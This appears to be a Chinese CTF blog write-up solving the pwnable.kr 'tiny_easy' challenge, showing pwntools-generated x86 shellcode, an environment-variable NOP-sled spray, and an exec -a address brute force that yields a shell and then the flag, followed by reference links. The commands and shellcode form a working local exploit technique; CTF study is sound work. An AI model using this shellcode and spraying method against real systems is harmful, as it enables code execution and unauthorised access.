通过 pwntools 的 shellcraft 模块生成 shellcode 代码。

1
2
3
4
5
6
7
tiny_easy@ubuntu:~$ python3
Python 3.10.12 (main, Feb 4 2025, 14:57:36) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> context(os = 'linux', arch='x86')
>>> print(asm(shellcraft.sh()))
b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'

在题目平台终端中,将 nop 指令和 shellcode 导入环境变量。

1
for i in `seq 1 100`; do export A_$i=$(python2 -c 'print "\x90" * 0x1000 + "jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"'); done;

在任意一次调试中,选择一个有效的栈内存地址作为跳转目的地。运行程序,进行内存地址碰撞,当碰撞成功时,执行 shellcode 代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
tiny_easy@ubuntu:~$ exec -a $(python2 -c 'print "\x1c\x30\xc1\xff"') ./tiny_easy &
[1] 29383
tiny_easy@ubuntu:~$ fg
-bash: fg: job has terminated
[1]+ Segmentation fault (core dumped) exec -a $(python2 -c 'print "\x1c\x30\xc1\xff"') ./tiny_easy
tiny_easy@ubuntu:~$ exec -a $(python2 -c 'print "\x1c\x30\xc1\xff"') ./tiny_easy &
[1] 29398
tiny_easy@ubuntu:~$ fg
exec -a $(python2 -c 'print "\x1c\x30\xc1\xff"') ./tiny_easy
$ ls
flag tiny_easy
$ cat flag
cat: flag: Permission denied
$

测试发现,直接得到的 shell 会话是 tiny_easy 权限,无法读取 flag 文件的内容。因此重新生成 shellcode 代码,通过 cat 命令直接读取 flag 文件。

1
2
3
4
5
6
7
tiny_easy@ubuntu:~$ python3
Python 3.10.12 (main, Feb 4 2025, 14:57:36) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> context(os='linux', arch='x86')
>>> print(asm(shellcraft.cat('/home/tiny_easy/flag')))
b'j\x01\xfe\x0c$hflaghasy/hny_ehe/tih/hom\x89\xe31\xc9j\x05X\xcd\x80j\x01[\x89\xc11\xd2h\xff\xff\xff\x7f^1\xc0\xb0\xbb\xcd\x80'

重新登录 ssh 会话,导入新的环境变量内容。

1
tiny_easy@ubuntu:~$ for i in `seq 1 100`; do export A_$i=$(python2 -c 'print "\x90" * 0x1000 + "j\x01\xfe\x0c$hflaghasy/hny_ehe/tih/hom\x89\xe31\xc9j\x05X\xcd\x80j\x01[\x89\xc11\xd2h\xff\xff\xff\x7f^1\xc0\xb0\xbb\xcd\x80"'); done;

运行程序,碰撞内存地址,执行 shellcode 代码,得到 flag 内容。

1
2
3
4
5
6
7
8
tiny_easy@ubuntu:~$ exec -a $(python2 -c 'print "\x1c\x30\xc1\xff"') ./tiny_easy &
[1] 36003
tiny_easy@ubuntu:~$ fg
-bash: fg: job has terminated
[1]+ Segmentation fault (core dumped) exec -a $(python2 -c 'print "\x1c\x30\xc1\xff"') ./tiny_easy
tiny_easy@ubuntu:~$ exec -a $(python2 -c 'print "\x1c\x30\xc1\xff"') ./tiny_easy &
[1] 36019
tiny_easy@ubuntu:~$ Such_a_tiny_task:_Great_job_done_here!

参考链接

pwnable.kr

pwnable.kr-md5 calculator | R00tnb’s Blog

pwnable.kr - md5 calculator_pwnable.kr md5-CSDN博客

pwnable.kr 之 otp | R4bb1t的ctf博客

👎 🏺 🧑🏾‍🤝‍🧑🏽 Problem solving with pwnable.kr 26 - ascii_easy. We deal with ROP gadgets from scratch once and for all 🥒 🐉 🤫

pwnable.kr-tiny_easy | R00tnb’s Blog

[Pwnable.kr] tiny_easy - Yiz96